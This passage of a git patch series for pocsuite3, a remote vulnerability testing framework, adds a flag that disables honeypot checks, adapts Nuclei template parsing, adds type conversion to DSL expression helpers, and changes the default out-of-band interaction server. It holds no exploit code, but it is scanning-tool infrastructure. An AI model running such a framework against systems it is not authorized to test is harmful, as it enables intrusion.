From 2ef2bcbf33e6cbe63e7ff546da8421daecff7804 Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Mon, 20 Mar 2023 22:45:06 -0700
Subject: [PATCH 01/27] feat: support disable protocol correction and honeypot
checks
---
manpages/pocsuite.1 | 3 +++
pocsuite.ini | 2 ++
pocsuite3/lib/core/option.py | 1 +
pocsuite3/lib/core/optiondict.py | 3 ++-
pocsuite3/lib/core/poc.py | 3 +++
pocsuite3/lib/core/settings.py | 1 +
pocsuite3/lib/parse/cmd.py | 2 ++
tests/test_configfile.py | 2 ++
8 files changed, 16 insertions(+), 1 deletion(-)
diff --git a/manpages/pocsuite.1 b/manpages/pocsuite.1
index 44d0eacd..6cb5456a 100644
--- a/manpages/pocsuite.1
+++ b/manpages/pocsuite.1
@@ -239,6 +239,9 @@ only export request rule
.TP
\fB\-\-rule\-filename\fR RULE_FILENAME
Specify the name of the export rule file
+.TP
+\fB\-\-no\-check\fR
+Disable URL protocol correction and honeypot check
.SS "Poc options:"
.IP
definition options for PoC
diff --git a/pocsuite.ini b/pocsuite.ini
index 983339a7..32ad87c3 100644
--- a/pocsuite.ini
+++ b/pocsuite.ini
@@ -125,6 +125,8 @@ rule = False
rule_req = False
; specify the name of the export rule file
rule_filename =
+; Disable URL protocol correction and honeypot check
+no_check =
[Poc options]
; show all definition options
diff --git a/pocsuite3/lib/core/option.py b/pocsuite3/lib/core/option.py
index 3be818c9..9364e4fd 100644
--- a/pocsuite3/lib/core/option.py
+++ b/pocsuite3/lib/core/option.py
@@ -585,6 +585,7 @@ def _set_conf_attributes():
conf.rule = False
conf.rule_req = False
conf.rule_filename = None
+ conf.no_check = False
conf.show_options = False
conf.enable_tls_listener = False
diff --git a/pocsuite3/lib/core/optiondict.py b/pocsuite3/lib/core/optiondict.py
index c0bea120..53c0ee3b 100644
--- a/pocsuite3/lib/core/optiondict.py
+++ b/pocsuite3/lib/core/optiondict.py
@@ -71,7 +71,8 @@
'pcap': 'boolean',
'rule': 'boolean',
'rule_req': 'boolean',
- 'rule_filename': 'string'
+ 'rule_filename': 'string',
+ 'no_check': 'boolean'
},
'Poc options': {
'show_options': 'boolean'
diff --git a/pocsuite3/lib/core/poc.py b/pocsuite3/lib/core/poc.py
index 3ca53b50..f1af9ca3 100644
--- a/pocsuite3/lib/core/poc.py
+++ b/pocsuite3/lib/core/poc.py
@@ -304,6 +304,9 @@ def execute(self, target, headers=None, params=None, mode='verify', verbose=True
return output
def _check(self, dork='', allow_redirects=False, return_obj=False, is_http=True, honeypot_check=True):
+ if conf.get('no_check', False):
+ return True
+
u = urlparse(self.url)
# the port closed
if u.port and not check_port(u.hostname, u.port):
diff --git a/pocsuite3/lib/core/settings.py b/pocsuite3/lib/core/settings.py
index 71c33090..b695ee6e 100644
--- a/pocsuite3/lib/core/settings.py
+++ b/pocsuite3/lib/core/settings.py
@@ -171,6 +171,7 @@
"rule",
"rule-req",
"rule-filename",
+ "no-check",
"options",
# other
diff --git a/pocsuite3/lib/parse/cmd.py b/pocsuite3/lib/parse/cmd.py
index 52fbd0a3..fc65c621 100644
--- a/pocsuite3/lib/parse/cmd.py
+++ b/pocsuite3/lib/parse/cmd.py
@@ -150,6 +150,8 @@ def cmd_line_parser(argv=None):
help="only export request rule")
optimization.add_argument("--rule-filename", dest="rule_filename", action="store", default=False,
help="Specify the name of the export rule file")
+ optimization.add_argument("--no-check", dest="no_check", action="store_true", default=False,
+ help="Disable URL protocol correction and honeypot check")
# Diy options
diy = parser.add_argument_group("Poc options", "definition options for PoC")
diy.add_argument("--options", dest="show_options", action="store_true", default=False,
diff --git a/tests/test_configfile.py b/tests/test_configfile.py
index f55a80c7..22535030 100644
--- a/tests/test_configfile.py
+++ b/tests/test_configfile.py
@@ -153,6 +153,8 @@ def test_build_ini(self):
help="only export request rule")
optimization.add_option("--rule-filename", dest="rule_filename", action="store", default=False,
help="Specify the name of the export rule file")
+ optimization.add_option("--no-check", dest="no_check", action="store_true", default=False,
+ help="Disable URL protocol correction and honeypot check")
# Diy options
diy_options = OptionGroup(parser, "Poc options", "definition options for PoC")
From 9a0b990e05c09d9e0ade3ab29807d9abc02488b0 Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Mon, 20 Mar 2023 23:13:43 -0700
Subject: [PATCH 02/27] chore: bump version to 2.0.3
---
CHANGELOG.md | 5 +++++
manpages/poc-console.1 | 2 +-
manpages/pocsuite.1 | 2 +-
pocsuite3/__init__.py | 2 +-
setup.py | 2 +-
5 files changed, 9 insertions(+), 4 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index c17353bd..62abefd1 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,3 +1,8 @@
+# version 2.0.3
+----------------
+* optimized URL protocol correction #356, thanks @chenjiewei123
+* support disable protocol correction and honeypot checks through --no-check option
+
# version 2.0.2
----------------
* fix url redirect problem in _check method #337
diff --git a/manpages/poc-console.1 b/manpages/poc-console.1
index e06f0886..18b729cf 100644
--- a/manpages/poc-console.1
+++ b/manpages/poc-console.1
@@ -31,7 +31,7 @@ is maintained at:
.I https://pocsuite.org
.PP
.SH VERSION
-This manual page documents pocsuite3 version 2.0.2
+This manual page documents pocsuite3 version 2.0.3
.SH AUTHOR
.br
(c) 2014-present by Knownsec 404 Team
diff --git a/manpages/pocsuite.1 b/manpages/pocsuite.1
index 6cb5456a..c62fe6ae 100644
--- a/manpages/pocsuite.1
+++ b/manpages/pocsuite.1
@@ -289,7 +289,7 @@ is maintained at:
.I https://pocsuite.org
.PP
.SH VERSION
-This manual page documents pocsuite3 version 2.0.2
+This manual page documents pocsuite3 version 2.0.3
.SH AUTHOR
.br
(c) 2014-present by Knownsec 404 Team
diff --git a/pocsuite3/__init__.py b/pocsuite3/__init__.py
index b935dcd5..ed9f0bc4 100644
--- a/pocsuite3/__init__.py
+++ b/pocsuite3/__init__.py
@@ -1,5 +1,5 @@
__title__ = 'pocsuite3'
-__version__ = '2.0.2'
+__version__ = '2.0.3'
__author__ = 'Knownsec 404 Team'
__author_email__ = '404-team@knownsec.com'
__license__ = 'GPLv2'
diff --git a/setup.py b/setup.py
index 1c92fbd5..1b52e482 100644
--- a/setup.py
+++ b/setup.py
@@ -21,7 +21,7 @@ def find_packages(where='.'):
setup(
name='pocsuite3',
- version='2.0.2',
+ version='2.0.3',
url='https://pocsuite.org',
description='Open-sourced remote vulnerability testing framework.',
long_description=long_description,
From f0e74b0c9332b64e4b67942858907fc698443ec6 Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Fri, 28 Apr 2023 23:00:28 -0700
Subject: [PATCH 03/27] fix: Updated protocol attribute name (requests=> http &
network => tcp)
---
pocsuite3/lib/yaml/nuclei/__init__.py | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/pocsuite3/lib/yaml/nuclei/__init__.py b/pocsuite3/lib/yaml/nuclei/__init__.py
index 80edee20..c04ace88 100644
--- a/pocsuite3/lib/yaml/nuclei/__init__.py
+++ b/pocsuite3/lib/yaml/nuclei/__init__.py
@@ -71,6 +71,16 @@ def __init__(self, template, target=''):
except ValueError:
pass
self.json_template = yaml.safe_load(expand_preprocessors(self.yaml_template))
+
+ # Breaking Changes in nuclei v2.9.1, Updated protocol attribute name (requests=> http & network => tcp)
+ # in templates, Templates with the use of requests and network will still work but will be deprecated
+ # completely in the future.
+
+ if 'http' in self.json_template:
+ self.json_template['requests'] = self.json_template['http']
+ if 'tcp' in self.json_template:
+ self.json_template['network'] = self.json_template['tcp']
+
self.template = dacite.from_dict(
Template, hyphen_to_underscore(self.json_template),
config=dacite.Config(cast=[Severify, ExtractorType, MatcherType, HTTPMethod, AttackType, NetworkInputType]))
From 2e40a31aedbbe70b3a37110317666983e0512b09 Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Fri, 28 Apr 2023 23:12:48 -0700
Subject: [PATCH 04/27] chore: bump version to 2.0.4
---
CHANGELOG.md | 4 ++++
manpages/poc-console.1 | 2 +-
manpages/pocsuite.1 | 2 +-
pocsuite3/__init__.py | 2 +-
setup.py | 2 +-
5 files changed, 8 insertions(+), 4 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 62abefd1..0d1da182 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,3 +1,7 @@
+# version 2.0.4
+----------------
+* Updated protocol names that are compatible with Nuclei v2.9.1
+
# version 2.0.3
----------------
* optimized URL protocol correction #356, thanks @chenjiewei123
diff --git a/manpages/poc-console.1 b/manpages/poc-console.1
index 18b729cf..550ef9e1 100644
--- a/manpages/poc-console.1
+++ b/manpages/poc-console.1
@@ -31,7 +31,7 @@ is maintained at:
.I https://pocsuite.org
.PP
.SH VERSION
-This manual page documents pocsuite3 version 2.0.3
+This manual page documents pocsuite3 version 2.0.4
.SH AUTHOR
.br
(c) 2014-present by Knownsec 404 Team
diff --git a/manpages/pocsuite.1 b/manpages/pocsuite.1
index c62fe6ae..46347c29 100644
--- a/manpages/pocsuite.1
+++ b/manpages/pocsuite.1
@@ -289,7 +289,7 @@ is maintained at:
.I https://pocsuite.org
.PP
.SH VERSION
-This manual page documents pocsuite3 version 2.0.3
+This manual page documents pocsuite3 version 2.0.4
.SH AUTHOR
.br
(c) 2014-present by Knownsec 404 Team
diff --git a/pocsuite3/__init__.py b/pocsuite3/__init__.py
index ed9f0bc4..37de1cea 100644
--- a/pocsuite3/__init__.py
+++ b/pocsuite3/__init__.py
@@ -1,5 +1,5 @@
__title__ = 'pocsuite3'
-__version__ = '2.0.3'
+__version__ = '2.0.4'
__author__ = 'Knownsec 404 Team'
__author_email__ = '404-team@knownsec.com'
__license__ = 'GPLv2'
diff --git a/setup.py b/setup.py
index 1b52e482..d8afe8a4 100644
--- a/setup.py
+++ b/setup.py
@@ -21,7 +21,7 @@ def find_packages(where='.'):
setup(
name='pocsuite3',
- version='2.0.3',
+ version='2.0.4',
url='https://pocsuite.org',
description='Open-sourced remote vulnerability testing framework.',
long_description=long_description,
From 8734eb640a7416e549244c5ee012553ba9ced2cf Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Tue, 25 Jul 2023 17:49:11 -0700
Subject: [PATCH 05/27] fix: hook failure due to urllib3 update
---
.../request/patch/hook_urllib3_parse_url.py | 65 +++++++++----------
1 file changed, 32 insertions(+), 33 deletions(-)
diff --git a/pocsuite3/lib/request/patch/hook_urllib3_parse_url.py b/pocsuite3/lib/request/patch/hook_urllib3_parse_url.py
index ad35c71e..f3d33861 100644
--- a/pocsuite3/lib/request/patch/hook_urllib3_parse_url.py
+++ b/pocsuite3/lib/request/patch/hook_urllib3_parse_url.py
@@ -115,39 +115,6 @@ def __str__(self):
return self.url
-def split_first(s, delims):
- """
- Given a string and an iterable of delimiters, split on the first found
- delimiter. Return two split parts and the matched delimiter.
-
- If not found, then the first part is the full input string.
-
- Example::
-
- >>> split_first('foo/bar?baz', '?/=')
- ('foo', 'bar?baz', '/')
- >>> split_first('foo/bar?baz', '123')
- ('foo/bar?baz', '', None)
-
- Scales linearly with number of delims. Not ideal for large number of delims.
- """
- min_idx = None
- min_delim = None
- for d in delims:
- idx = s.find(d)
- if idx < 0:
- continue
-
- if min_idx is None or idx < min_idx:
- min_idx = idx
- min_delim = d
-
- if min_idx is None or min_idx < 0:
- return s, '', None
-
- return s[:min_idx], s[min_idx + 1:], min_delim
-
-
def patched_parse_url(url):
"""
Given a url, return a parsed :class:`.Url` namedtuple. Best-effort is
@@ -170,6 +137,38 @@ def patched_parse_url(url):
# Additionally, this implementations does silly things to be optimal
# on CPython.
+ def split_first(s, delims):
+ """
+ Given a string and an iterable of delimiters, split on the first found
+ delimiter. Return two split parts and the matched delimiter.
+
+ If not found, then the first part is the full input string.
+
+ Example::
+
+ >>> split_first('foo/bar?baz', '?/=')
+ ('foo', 'bar?baz', '/')
+ >>> split_first('foo/bar?baz', '123')
+ ('foo/bar?baz', '', None)
+
+ Scales linearly with number of delims. Not ideal for large number of delims.
+ """
+ min_idx = None
+ min_delim = None
+ for d in delims:
+ idx = s.find(d)
+ if idx < 0:
+ continue
+
+ if min_idx is None or idx < min_idx:
+ min_idx = idx
+ min_delim = d
+
+ if min_idx is None or min_idx < 0:
+ return s, '', None
+
+ return s[:min_idx], s[min_idx + 1:], min_delim
+
if not url:
# Empty
return Url()
From 4eb6314362cf3c6593753acc014315f56685ac38 Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Wed, 26 Jul 2023 11:49:29 -0700
Subject: [PATCH 06/27] fix: optimize DSL expression execution
---
pocsuite3/lib/request/patch/add_httpraw.py | 2 +-
.../protocols/common/expressions/__init__.py | 93 +++++++++++++++++--
.../protocols/common/expressions/safe_eval.py | 4 +-
.../yaml/nuclei/protocols/http/__init__.py | 28 +++---
.../yaml/nuclei/protocols/network/__init__.py | 26 +++---
pocsuite3/modules/interactsh/__init__.py | 5 +-
6 files changed, 118 insertions(+), 40 deletions(-)
diff --git a/pocsuite3/lib/request/patch/add_httpraw.py b/pocsuite3/lib/request/patch/add_httpraw.py
index de77e156..6ab0c2cf 100644
--- a/pocsuite3/lib/request/patch/add_httpraw.py
+++ b/pocsuite3/lib/request/patch/add_httpraw.py
@@ -49,7 +49,7 @@ def httpraw(raw: str, ssl: bool = False, **kwargs):
raise Exception
tmp_headers = raws[1:index - 1]
tmp_headers = extract_dict('\n'.join(tmp_headers), '\n', ": ")
- postData = raws[index]
+ postData = '\n'.join(raws[index:])
try:
json.loads(postData)
_json = postData
diff --git a/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py b/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py
index 27df717d..2c535172 100644
--- a/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py
+++ b/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py
@@ -5,17 +5,19 @@
import hashlib
import hmac as py_hmac
import html
+import inspect
import random
import re
import string
import time
import urllib.parse
import zlib as py_built_in_zlib
-from typing import Union
+from functools import wraps
+from typing import get_type_hints, Union
+import chardet
import mmh3 as py_mmh3
from pkg_resources import parse_version
-
from pocsuite3.lib.core.log import LOGGER as logger
from pocsuite3.lib.yaml.nuclei.protocols.common.expressions.safe_eval import safe_eval
@@ -31,6 +33,52 @@ class Marker:
ParenthesisClose = "}}"
+def auto_convert_types(func):
+ @wraps(func)
+ def check_and_convert_args(*args, **kwargs):
+ # Get the function's parameter names and types
+ signature = inspect.signature(func)
+ parameter_types = get_type_hints(func)
+
+ # Convert args to a list so we can modify its elements
+ args_list = list(args)
+
+ # Check and convert positional arguments
+ for i, (arg_name, arg_value) in enumerate(zip(signature.parameters.keys(), args)):
+ arg_type = parameter_types.get(arg_name)
+ if arg_type and not isinstance(arg_value, arg_type):
+ try:
+ if arg_type is str and isinstance(arg_value, bytes):
+ try:
+ encoding = chardet.detect(arg_value)['encoding'] or 'utf-8'
+ args_list[i] = arg_value.decode(encoding)
+ except Exception:
+ args_list[i] = str(arg_value)
+ elif arg_type is bytes and isinstance(arg_value, str):
+ args_list[i] = arg_value.encode('utf-8')
+ except ValueError:
+ pass
+ # Check and convert keyword arguments
+ for arg_name, arg_value in kwargs.items():
+ arg_type = parameter_types.get(arg_name)
+ if arg_type and not isinstance(arg_value, arg_type):
+ try:
+ if arg_type is str and isinstance(arg_value, bytes):
+ try:
+ encoding = chardet.detect(arg_value)['encoding'] or 'utf-8'
+ kwargs[arg_name] = arg_value.decode(encoding)
+ except Exception:
+ kwargs[arg_name] = str(arg_value)
+ elif arg_type is bytes and isinstance(arg_value, str):
+ kwargs[arg_name] = arg_value.encode('utf-8')
+ except ValueError:
+ pass
+ # Call the original function with the potentially converted arguments
+ return func(*args_list, **kwargs)
+
+ return check_and_convert_args
+
+
def aes_gcm(key: Union[bytes, str], plaintext: Union[bytes, str]) -> bytes:
"""
AES GCM encrypts a string with key
@@ -77,7 +125,8 @@ def base64_py(src: Union[bytes, str]) -> str:
return base64(src)
-def concat(*arguments) -> str:
+@auto_convert_types
+def concat(*arguments: str) -> str:
"""
Concatenates the given number of arguments to form a string
@@ -88,6 +137,7 @@ def concat(*arguments) -> str:
return ''.join(map(str, arguments))
+@auto_convert_types
def compare_versions(version_to_check: str, *constraints: str) -> bool:
"""
Compares the first version argument with the provided constraints
@@ -112,6 +162,7 @@ def compare_versions(version_to_check: str, *constraints: str) -> bool:
return True
+@auto_convert_types
def contains(inp: str, substring: str) -> bool:
"""
Verifies if a string contains a substring
@@ -123,6 +174,7 @@ def contains(inp: str, substring: str) -> bool:
return substring in inp
+@auto_convert_types
def contains_all(inp: str, *substrings: str) -> bool:
"""
Verify if any input contains all the substrings
@@ -134,6 +186,7 @@ def contains_all(inp: str, *substrings: str) -> bool:
return all(map(lambda s: s in inp, substrings))
+@auto_convert_types
def contains_any(inp: str, *substrings: str) -> bool:
"""
Verifies if an input contains any of substrings
@@ -218,6 +271,7 @@ def gzip(inp: Union[str, bytes]) -> bytes:
return py_built_in_gzip.compress(inp)
+@auto_convert_types
def gzip_decode(inp: bytes) -> bytes:
"""
Decompresses the input using GZip
@@ -242,6 +296,7 @@ def zlib(inp: Union[str, bytes]) -> bytes:
return py_built_in_zlib.compress(inp)
+@auto_convert_types
def zlib_decode(inp: bytes) -> bytes:
"""
Decompresses the input using Zlib
@@ -253,6 +308,7 @@ def zlib_decode(inp: bytes) -> bytes:
return py_built_in_zlib.decompress(inp)
+@auto_convert_types
def hex_decode(inp: str) -> bytes:
"""
Hex decodes the given input
@@ -277,6 +333,7 @@ def hex_encode(inp: Union[str, bytes]) -> str:
return binascii.hexlify(inp).decode('utf-8')
+@auto_convert_types
def html_escape(inp: str) -> str:
"""
HTML escapes the given input
@@ -288,6 +345,7 @@ def html_escape(inp: str) -> str:
return html.escape(inp)
+@auto_convert_types
def html_unescape(inp: str) -> str:
"""
HTML un-escapes the given input
@@ -314,7 +372,8 @@ def md5(inp: Union[str, bytes]) -> str:
return m.hexdigest()
-def mmh3(inp: Union[str, bytes]) -> int:
+@auto_convert_types
+def mmh3(inp: str) -> int:
"""
Calculates the MMH3 (MurmurHash3) hash of an input
@@ -406,7 +465,8 @@ def rand_text_numeric(length: int, optional_bad_numbers: str = '') -> str:
return ''.join(random.choice(charset) for _ in range(length))
-def regex(pattern, inp) -> bool:
+@auto_convert_types
+def regex(pattern: str, inp: str) -> bool:
"""
Tests the given regular expression against the input string
@@ -414,9 +474,10 @@ def regex(pattern, inp) -> bool:
Input: regex("H([a-z]+)o", "Hello")
Output: True
"""
- return re.findall(pattern, inp) != []
+ return list(filter(lambda item: item.strip() != "", re.findall(pattern, inp, re.IGNORECASE))) != []
+@auto_convert_types
def remove_bad_chars(inp: str, cutset: str) -> str:
"""
Removes the desired characters from the input
@@ -428,6 +489,7 @@ def remove_bad_chars(inp: str, cutset: str) -> str:
return ''.join(i if i not in cutset else '' for i in inp)
+@auto_convert_types
def repeat(inp: str, count: int) -> str:
"""
Repeats the input string the given amount of times
@@ -439,6 +501,7 @@ def repeat(inp: str, count: int) -> str:
return inp * count
+@auto_convert_types
def replace(inp: str, old: str, new: str) -> str:
"""
Replaces a given substring in the given input
@@ -450,6 +513,7 @@ def replace(inp: str, old: str, new: str) -> str:
return inp.replace(old, new)
+@auto_convert_types
def replace_regex(source: str, pattern: str, replacement: str) -> str:
"""
Replaces substrings matching the given regular expression in the input
@@ -461,6 +525,7 @@ def replace_regex(source: str, pattern: str, replacement: str) -> str:
return re.sub(pattern, replacement, source)
+@auto_convert_types
def reverse(inp: str) -> str:
"""
Reverses the given input
@@ -504,6 +569,7 @@ def sha256(inp: Union[bytes, str]) -> str:
return s.hexdigest()
+@auto_convert_types
def to_lower(inp: str) -> str:
"""
Transforms the input into lowercase characters
@@ -515,6 +581,7 @@ def to_lower(inp: str) -> str:
return inp.lower()
+@auto_convert_types
def to_upper(inp: str) -> str:
"""
Transforms the input into uppercase characters
@@ -526,6 +593,7 @@ def to_upper(inp: str) -> str:
return inp.upper()
+@auto_convert_types
def trim(inp: str, cutset: str) -> str:
"""
Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed
@@ -537,6 +605,7 @@ def trim(inp: str, cutset: str) -> str:
return inp.strip(cutset)
+@auto_convert_types
def trim_left(inp: str, cutset: str) -> str:
"""
Returns a slice of the input with all leading Unicode code points contained in cutset removed
@@ -548,6 +617,7 @@ def trim_left(inp: str, cutset: str) -> str:
return inp.lstrip(cutset)
+@auto_convert_types
def trim_prefix(inp: str, prefix: str) -> str:
"""
Returns the input without the provided leading prefix string
@@ -561,6 +631,7 @@ def trim_prefix(inp: str, prefix: str) -> str:
return inp
+@auto_convert_types
def trim_right(inp: str, cutset: str) -> str:
"""
Returns a string, with all trailing Unicode code points contained in cutset removed
@@ -572,6 +643,7 @@ def trim_right(inp: str, cutset: str) -> str:
return inp.rstrip(cutset)
+@auto_convert_types
def trim_space(inp: str) -> str:
"""
Returns a string, with all leading and trailing white space removed, as defined by Unicode
@@ -583,6 +655,7 @@ def trim_space(inp: str) -> str:
return inp.strip()
+@auto_convert_types
def trim_suffix(inp: str, suffix: str) -> str:
"""
Returns input without the provided trailing suffix string
@@ -607,6 +680,7 @@ def unix_time(optional_seconds: int = 0) -> int:
return int(time.time()) + optional_seconds
+@auto_convert_types
def url_decode(inp: str) -> str:
"""
URL decodes the input string
@@ -617,6 +691,7 @@ def url_decode(inp: str) -> str:
return urllib.parse.unquote_plus(inp)
+@auto_convert_types
def url_encode(inp: str) -> str:
"""
URL encodes the input string
@@ -640,6 +715,7 @@ def wait_for(seconds: int) -> bool:
return True
+@auto_convert_types
def join(separator: str, *elements: str) -> str:
"""
Joins the given elements using the specified separator
@@ -679,6 +755,7 @@ def date_time(date_time_format: str, optional_unix_time: int = int(time.time()))
return datetime.datetime.utcfromtimestamp(optional_unix_time).strftime(date_time_format)
+@auto_convert_types
def to_unix_time(inp: str, layout: str = "%Y-%m-%d %H:%M:%S") -> int:
"""
Parses a string date time using default or user given layouts, then returns its Unix timestamp
@@ -690,6 +767,7 @@ def to_unix_time(inp: str, layout: str = "%Y-%m-%d %H:%M:%S") -> int:
return int(time.mktime(datetime.datetime.strptime(inp, layout).timetuple()))
+@auto_convert_types
def starts_with(inp: str, *prefix: str) -> bool:
"""
Checks if the string starts with any of the provided substrings
@@ -701,6 +779,7 @@ def starts_with(inp: str, *prefix: str) -> bool:
return any(inp.startswith(p) for p in prefix)
+@auto_convert_types
def line_starts_with(inp: str, *prefix: str) -> bool:
"""
Checks if any line of the string starts with any of the provided substrings
@@ -716,6 +795,7 @@ def line_starts_with(inp: str, *prefix: str) -> bool:
return False
+@auto_convert_types
def ends_with(inp: str, *suffix: str) -> bool:
"""
Checks if the string ends with any of the provided substrings
@@ -727,6 +807,7 @@ def ends_with(inp: str, *suffix: str) -> bool:
return any(inp.endswith(s) for s in suffix)
+@auto_convert_types
def line_ends_with(inp: str, *suffix: str) -> bool:
"""
Checks if any line of the string ends with any of the provided substrings
diff --git a/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/safe_eval.py b/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/safe_eval.py
index 1f4458af..3a0c41f0 100644
--- a/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/safe_eval.py
+++ b/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/safe_eval.py
@@ -163,7 +163,9 @@ def safe_eval(expression, variables):
logger.debug(f'[+] Expressions convert: {expression} -> {new_expression}')
expression = new_expression
if not _check_expression(expression, allowed_variables=list(variables.keys())):
- raise Exception(f"Invalid expression [{expression}], only a very simple subset of Python is allowed.")
+ raise Exception(
+ f"Invalid expression {expression}, possibly due to unsupported functions in the template or "
+ "unresolved variables. If you suspect this is a Pocsuite3 issue, please submit an issue on GitHub.")
return eval(expression, globals(), variables)
diff --git a/pocsuite3/lib/yaml/nuclei/protocols/http/__init__.py b/pocsuite3/lib/yaml/nuclei/protocols/http/__init__.py
index 1cd6f6a9..5e476106 100644
--- a/pocsuite3/lib/yaml/nuclei/protocols/http/__init__.py
+++ b/pocsuite3/lib/yaml/nuclei/protocols/http/__init__.py
@@ -143,25 +143,13 @@ def http_response_to_dsl_map(resp: requests.Response):
return data
-def http_get_match_part(part: str, resp_data: dict, interactsh=None, return_bytes: bool = False) -> str:
+def http_get_match_part(part: str, resp_data: dict, return_bytes: bool = False) -> str:
result = ''
if part == '':
part = 'body'
if part in resp_data:
result = resp_data[part]
- elif part.startswith('interactsh'):
- if not isinstance(interactsh, InteractshClient):
- result = ''
- # poll oob data
- else:
- interactsh.poll()
- if part == 'interactsh_protocol':
- result = '\n'.join(interactsh.interactsh_protocol)
- elif part == 'interactsh_request':
- result = '\n'.join(interactsh.interactsh_request)
- elif part == 'interactsh_response':
- result = '\n'.join(interactsh.interactsh_response)
if return_bytes and not isinstance(result, bytes):
result = str(result).encode()
@@ -177,9 +165,19 @@ def http_match(request: HttpRequest, resp_data: dict, interactsh=None):
matchers = request.matchers
matchers_result = []
+ if 'interactsh_' in str(matchers) and isinstance(interactsh, InteractshClient):
+ interactsh.poll()
+ resp_data['interactsh_protocol'] = '\n'.join(interactsh.interactsh_protocol)
+ resp_data['interactsh_request'] = '\n'.join(interactsh.interactsh_request)
+ resp_data['interactsh_response'] = '\n'.join(interactsh.interactsh_response)
+ else:
+ resp_data['interactsh_protocol'] = ''
+ resp_data['interactsh_request'] = ''
+ resp_data['interactsh_response'] = ''
+
for i, matcher in enumerate(matchers):
matcher_res = False
- item = http_get_match_part(matcher.part, resp_data, interactsh, matcher.type == MatcherType.BinaryMatcher)
+ item = http_get_match_part(matcher.part, resp_data, matcher.type == MatcherType.BinaryMatcher)
if matcher.type == MatcherType.StatusMatcher:
matcher_res = match_status_code(matcher, resp_data.get('status_code', 0))
@@ -288,7 +286,7 @@ def http_request_generator(request: HttpRequest, dynamic_values: OrderedDict):
headers = raws[1:index - 1]
headers = extract_dict('\n'.join(headers), '\n', ": ")
- data = raws[index]
+ data = '\n'.join(raws[index:])
else:
headers = extract_dict('\n'.join(raws[1:]), '\n', ": ")
diff --git a/pocsuite3/lib/yaml/nuclei/protocols/network/__init__.py b/pocsuite3/lib/yaml/nuclei/protocols/network/__init__.py
index 36cd5165..953bf95d 100644
--- a/pocsuite3/lib/yaml/nuclei/protocols/network/__init__.py
+++ b/pocsuite3/lib/yaml/nuclei/protocols/network/__init__.py
@@ -88,25 +88,13 @@ class NetworkRequest:
read_all: bool = False
-def network_get_match_part(part: str, resp_data: dict, interactsh=None, return_bytes: bool = False) -> str:
+def network_get_match_part(part: str, resp_data: dict, return_bytes: bool = False) -> str:
result = ''
if part in ['', 'all', 'body']:
part = 'data'
if part in resp_data:
result = resp_data[part]
- elif part.startswith('interactsh'):
- if not isinstance(interactsh, InteractshClient):
- result = ''
- # poll oob data
- else:
- interactsh.poll()
- if part == 'interactsh_protocol':
- result = '\n'.join(interactsh.interactsh_protocol)
- elif part == 'interactsh_request':
- result = '\n'.join(interactsh.interactsh_request)
- elif part == 'interactsh_response':
- result = '\n'.join(interactsh.interactsh_response)
if return_bytes and not isinstance(result, bytes):
result = str(result).encode()
@@ -148,9 +136,19 @@ def network_match(request: NetworkRequest, resp_data: dict, interactsh=None):
matchers = request.matchers
matchers_result = []
+ if 'interactsh_' in str(matchers) and isinstance(interactsh, InteractshClient):
+ interactsh.poll()
+ resp_data['interactsh_protocol'] = '\n'.join(interactsh.interactsh_protocol)
+ resp_data['interactsh_request'] = '\n'.join(interactsh.interactsh_request)
+ resp_data['interactsh_response'] = '\n'.join(interactsh.interactsh_response)
+ else:
+ resp_data['interactsh_protocol'] = ''
+ resp_data['interactsh_request'] = ''
+ resp_data['interactsh_response'] = ''
+
for i, matcher in enumerate(matchers):
matcher_res = False
- item = network_get_match_part(matcher.part, resp_data, interactsh, matcher.type == MatcherType.BinaryMatcher)
+ item = network_get_match_part(matcher.part, resp_data, matcher.type == MatcherType.BinaryMatcher)
if matcher.type == MatcherType.SizeMatcher:
matcher_res = match_size(matcher, len(item))
diff --git a/pocsuite3/modules/interactsh/__init__.py b/pocsuite3/modules/interactsh/__init__.py
index ea28e758..a52c5b60 100644
--- a/pocsuite3/modules/interactsh/__init__.py
+++ b/pocsuite3/modules/interactsh/__init__.py
@@ -26,7 +26,7 @@ def __init__(self, server='', token=''):
self.server = server.lstrip('.')
if 'oob_server' in conf:
self.server = self.server or conf.oob_server
- self.server = self.server or 'interact.sh'
+ self.server = self.server or 'oast.me'
self.token = token
if 'oob_token' in conf:
@@ -78,8 +78,7 @@ def poll(self):
decrypt_data = self.decrypt_data(aes_key, i)
result.append(decrypt_data)
return result
- except Exception as e:
- logger.debug("[PLUGIN] Interactsh: {}".format(e))
+ except Exception:
count -= 1
time.sleep(1)
continue
From 35428091ebcc2c866554d1041164ec96b8e57c3a Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Wed, 26 Jul 2023 11:52:46 -0700
Subject: [PATCH 07/27] refactor: disable mandatory updates
---
pocsuite3/lib/core/update.py | 5 ++---
pocsuite3/lib/utils/__init__.py | 4 ++--
2 files changed, 4 insertions(+), 5 deletions(-)
diff --git a/pocsuite3/lib/core/update.py b/pocsuite3/lib/core/update.py
index ff201314..0ddb9e6b 100644
--- a/pocsuite3/lib/core/update.py
+++ b/pocsuite3/lib/core/update.py
@@ -1,4 +1,3 @@
-import sys
